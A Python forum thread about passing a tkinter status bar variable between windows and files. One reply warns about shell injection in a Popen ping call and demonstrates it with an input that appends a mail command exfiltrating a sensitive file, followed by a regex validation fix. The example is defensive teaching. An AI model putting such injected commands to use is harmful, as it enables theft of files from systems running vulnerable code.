Posts: 38 Threads: 12 Joined: Sep 2023 Quote:I could use a little help on this one in my main program I have my standard python tkinter window in there I have a variable statusbar = tk.StringVar() label_statusbar = tk.Label(root, borderwidth=8, height=1, fg='#000000', bd=1, relief=SUNKEN, anchor=W, textvariable=statusbar, font=('Arial', 15)) label_statusbar.pack(fill=X, side=BOTTOM)Quote:in the second window num = 1 # number of echo requests to send wait = 1000 # timeout in milliseconds to wait for each reply ip = "*******" # IP address to check if online url = 'http://' # format(num, wait, ip) this must be in order, or it won't work right ping = Popen("ping -n {} -w {} {}".format(num, wait, ip), stdout=PIPE, stderr=PIPE) # if you don't want it to print it out exit_code = ping.wait() if exit_code != 0: pass # print("Host offline.") # just for testing statusbar.set("Host offline.") contact_frame.after(2000, lambda: statusbar.set('')) else: # print("Host online.") # just for testing passQuote:by placing statusbar.set("Host offline.") here i can't get it to work how do I get statusbar.set("Host offline.") to display on the status bar in the first window any help would be appreciated Posts: 6,920 Threads: 22 Joined: Feb 2020 Aug-09-2025, 01:50 PM (This post was last modified: Aug-09-2025, 01:50 PM by deanhystad.) I don't think you posted the parts of the program that are pertinent to the question. How do you tell the second window about the statusbar? In the example below, I create a main window and a second window. When I create the second window I pass the statusbar variable from the first window in the init method. When you press the button in the second window it updates the display in the first. import tkinter as tk class MainWindow(tk.Tk): def __init__(self): super().__init__() self.statusbar = tk.StringVar() tk.Label( self, textvariable=self.statusbar, width=20, font=(None, 32) ).pack() class OtherWindow(tk.Toplevel): def __init__(self, statusbar): super().__init__() self.statusbar = statusbar tk.Button( self, text="Push me", font=(None, 32), command=self.do_work ).pack() def do_work(self): self.statusbar.set("Host offline.") self.after(2000, lambda: self.statusbar.set('')) main = MainWindow() other = OtherWindow(main.statusbar) main.mainloop()The same code written without classes. import tkinter as tk def do_work(): statusbar.set("Host offline.") other.after(2000, lambda: statusbar.set('')) main = tk.Tk() statusbar = tk.StringVar() tk.Label( main, textvariable=statusbar, width=20, font=(None, 32) ).pack() other = tk.Toplevel() tk.Button( other, text="Push me", font=(None, 32), command=do_work ).pack() main.mainloop() Posts: 38 Threads: 12 Joined: Sep 2023 Aug-09-2025, 06:03 PM (This post was last modified: Aug-10-2025, 03:09 AM by buran.) (Aug-09-2025, 01:50 PM)deanhystad Wrote: I don't think you posted the parts of the program that are pertinent to the question. How do you tell the second window about the statusbar? In the example below, I create a main window and a second window. When I create the second window I pass the statusbar variable from the first window in the init method. When you press the button in the second window it updates the display in the first. import tkinter as tk class MainWindow(tk.Tk): def __init__(self): super().__init__() self.statusbar = tk.StringVar() tk.Label( self, textvariable=self.statusbar, width=20, font=(None, 32) ).pack() class OtherWindow(tk.Toplevel): def __init__(self, statusbar): super().__init__() self.statusbar = statusbar tk.Button( self, text="Push me", font=(None, 32), command=self.do_work ).pack() def do_work(self): self.statusbar.set("Host offline.") self.after(2000, lambda: self.statusbar.set('')) main = MainWindow() other = OtherWindow(main.statusbar) main.mainloop()The same code written without classes. import tkinter as tk def do_work(): statusbar.set("Host offline.") other.after(2000, lambda: statusbar.set('')) main = tk.Tk() statusbar = tk.StringVar() tk.Label( main, textvariable=statusbar, width=20, font=(None, 32) ).pack() other = tk.Toplevel() tk.Button( other, text="Push me", font=(None, 32), command=do_work ).pack() main.mainloop() if I didn't make myself clear I apologize for that when I refer to first and second window I'm talking about two separate python files as for the first Python file first window the program would be too big to post here I don't think you would like that that's why I only included the part that is important I need to find out somehow to tell statusbar.set("Host offline.") where the statusbar = tk.StringVar() is I do at the beginning of the program have from second window import * but in the second program it always comes back and says statusbar not defined Posts: 38 Threads: 12 Joined: Sep 2023 Aug-09-2025, 10:12 PM (This post was last modified: Aug-10-2025, 03:08 AM by buran.) after doing some research I came to the conclusion what I'm trying to do is beyond tkinter capability so I came to a different solution that seems to work thank you for trying I appreciate all the help Posts: 6,920 Threads: 22 Joined: Feb 2020 Aug-10-2025, 02:41 AM (This post was last modified: Aug-10-2025, 02:41 AM by deanhystad.) Please don't quote yourself. The quote tags are meant to be used when you quote someone else. Like this: Quote:what I'm trying to do is beyond tkinter capability I doubt that. In my example that uses classes, the MainWindow and OtherWindow classes were in the same files. There is no reason they cannot be in different files. File otherwindow.py import tkinter as tk class OtherWindow(tk.Toplevel): def __init__(self, statusbar): super().__init__() self.statusbar = statusbar tk.Button( self, text="Push me", font=(None, 32), command=self.do_work ).pack() def do_work(self): self.statusbar.set("Host offline.") self.after(2000, lambda: self.statusbar.set(''))File mainwindow.py import tkinter as tk from otherwindow import OtherWindow class MainWindow(tk.Tk): def __init__(self): super().__init__() self.statusbar = tk.StringVar() tk.Label( self, textvariable=self.statusbar, width=20, font=(None, 32) ).pack() main = MainWindow() other = OtherWindow(main.statusbar) main.mainloop() This can also be done without using classes. It's just messy. Posts: 5 Threads: 0 Joined: Aug 2025 Glad you found a solution that works for you. I want to talk about another part of the code you posted: ping = Popen("ping -n {} -w {} {}".format(num, wait, ip), stdout=PIPE, stderr=PIPE)This can open your code up to what are known as injection attacks. In the example you posted the variables are hard coded in the function that uses them, this is safe. But if you want to get the ip address from user input you will need to sanitize the input to be sure the user typed what you are expecting. An example: num = 1 # number of echo requests to send wait = 1000 # timeout in milliseconds to wait for each reply ip = input("ip -->") # Get user input for IP address to check if online # format(num, wait, ip) this must be in order, or it won't work right ping_cmd = "ping -n {} -w {} {}".format(num, wait, ip) print(ping_cmd)If you run this with a regular user everything looks alright: Output: $ python injection_attach_example.py ip -->192.168.000.001 ping -n 1 -w 1000 192.168.000.001
The ping command is ready to send to the shell. But if user "evil" runs your script they can input more than a simple IP address: Output: $ python injection_attach_example.py ip -->192.168.000.001;mail -A /sensitive/file [email protected] ping -n 1 -w 1000 192.168.000.001;mail -A /sensitive/file [email protected]
Now when popen hands your command to the shell the ping is run, the semicolon tells the shell this is another command on the same line, and the mail command sends "/sensitive/file" off to [email protected]. To prevent this you check that the input format matches what you expect the user to type. This is commonly done with python's regular expression checker, the "re" module. (Note that the example expected pattern is overly restrictive. This can be overcome with a better regular expression pattern, but that would be another topic.) import re if not re.match("^\d\d\d\.\d\d\d\.\d\d\d\.\d\d\d$", ip): print("ip address must be four sets of three digits, each set separated by a period") exit()Now if they type the evil input they get as output: Output: ip -->192.168.000.001;mail -A /sensitive/file [email protected] ping -n 1 -w 1000 192.168.000.001;mail -A /sensitive/file [email protected] ip address must be four sets of three digits, each set separated by a period Posts: 38 Threads: 12 Joined: Sep 2023 (Aug-10-2025, 02:41 AM)deanhystad Wrote: Please don't quote yourself. The quote tags are meant to be used when you quote someone else. Like this: Quote:what I'm trying to do is beyond tkinter capability I doubt that. In my example that uses classes, the MainWindow and OtherWindow classes were in the same files. There is no reason they cannot be in different files. File otherwindow.py import tkinter as tk class OtherWindow(tk.Toplevel): def __init__(self, statusbar): super().__init__() self.statusbar = statusbar tk.Button( self, text="Push me", font=(None, 32), command=self.do_work ).pack() def do_work(self): self.statusbar.set("Host offline.") self.after(2000, lambda: self.statusbar.set(''))File mainwindow.py import tkinter as tk from otherwindow import OtherWindow class MainWindow(tk.Tk): def __init__(self): super().__init__() self.statusbar = tk.StringVar() tk.Label( self, textvariable=self.statusbar, width=20, font=(None, 32) ).pack() main = MainWindow() other = OtherWindow(main.statusbar) main.mainloop() This can also be done without using classes. It's just messy. I have already tried both your methods to have statusbar = tk.StringVar() In One file And statusbar.set("Host offline.") in another does not work I have already tried several different methods including yours But like I said I found a different solution that works just fine Posts: 38 Threads: 12 Joined: Sep 2023 (Aug-10-2025, 02:56 AM)PyRobo Wrote: Glad you found a solution that works for you. I want to talk about another part of the code you posted: ping = Popen("ping -n {} -w {} {}".format(num, wait, ip), stdout=PIPE, stderr=PIPE)This can open your code up to what are known as injection attacks. In the example you posted the variables are hard coded in the function that uses them, this is safe. But if you want to get the ip address from user input you will need to sanitize the input to be sure the user typed what you are expecting. An example: num = 1 # number of echo requests to send wait = 1000 # timeout in milliseconds to wait for each reply ip = input("ip -->") # Get user input for IP address to check if online # format(num, wait, ip) this must be in order, or it won't work right ping_cmd = "ping -n {} -w {} {}".format(num, wait, ip) print(ping_cmd)If you run this with a regular user everything looks alright: Output: $ python injection_attach_example.py ip -->192.168.000.001 ping -n 1 -w 1000 192.168.000.001 The ping command is ready to send to the shell. But if user "evil" runs your script they can input more than a simple IP address: Output: $ python injection_attach_example.py ip -->192.168.000.001;mail -A /sensitive/file [email protected] ping -n 1 -w 1000 192.168.000.001;mail -A /sensitive/file [email protected] Now when popen hands your command to the shell the ping is run, the semicolon tells the shell this is another command on the same line, and the mail command sends "/sensitive/file" off to [email protected]. To prevent this you check that the input format matches what you expect the user to type. This is commonly done with python's regular expression checker, the "re" module. (Note that the example expected pattern is overly restrictive. This can be overcome with a better regular expression pattern, but that would be another topic.) import re if not re.match("^\d\d\d\.\d\d\d\.\d\d\d\.\d\d\d$", ip): print("ip address must be four sets of three digits, each set separated by a period") exit()Now if they type the evil input they get as output: Output: ip -->192.168.000.001;mail -A /sensitive/file [email protected] ping -n 1 -w 1000 192.168.000.001;mail -A /sensitive/file [email protected] ip address must be four sets of three digits, each set separated by a period
thank you very much for your input I will certainly consider your suggestion if I plan on passing it out to others but for right now it is just for my personal use Posts: 6,920 Threads: 22 Joined: Feb 2020 From what to include in a post https://python-forum.io/misc.php?action=help&hid=20 Quote:Post as much code as necessary and as little as possible to reproduce your error, as well as instructions for how to run that code (what input it needs, what files need to be present). If "as much code as necessary" is all your code, then so be it, but if you have a thousand line script and you're getting a traceback similar to the above, you could reproduce the error in one line and posting too much makes it very difficult to answer your question. (As a bonus, reducing your code like this often makes it easier for you to figure out the solution on your own!) Also, the less code you post, the more likely you will get a good, fast, correct response. I still don't know what problem you were having since you never posted any code that demonstrated the problem. My most recent guess is that it has nothing to do with your code being in two separate files. That should not be an issue at all. I now think it is caused by running your code as two separate executables. Is that anywhere close? If so, then your comment about tkinter not having a solution for the problem is correct. If your code is too large to post, make it smaller. A program may contain thousands of lines of code, but usually a problem can be reproduced with a few dozen lines. If you are too lazy to write a program that demonstrates your problem you should not expect anyone to spend any time helping you solve it. Quote:I found a different solution that works just fine is not a resolution. The way the forum works is you ask a question and people try to help you solve the problem. When the problem is solved, you describe the solution. That way there is a record that becomes part of the forum knowledgebase. Others encountering the same problem can read your thread and use that information to solve their problem. |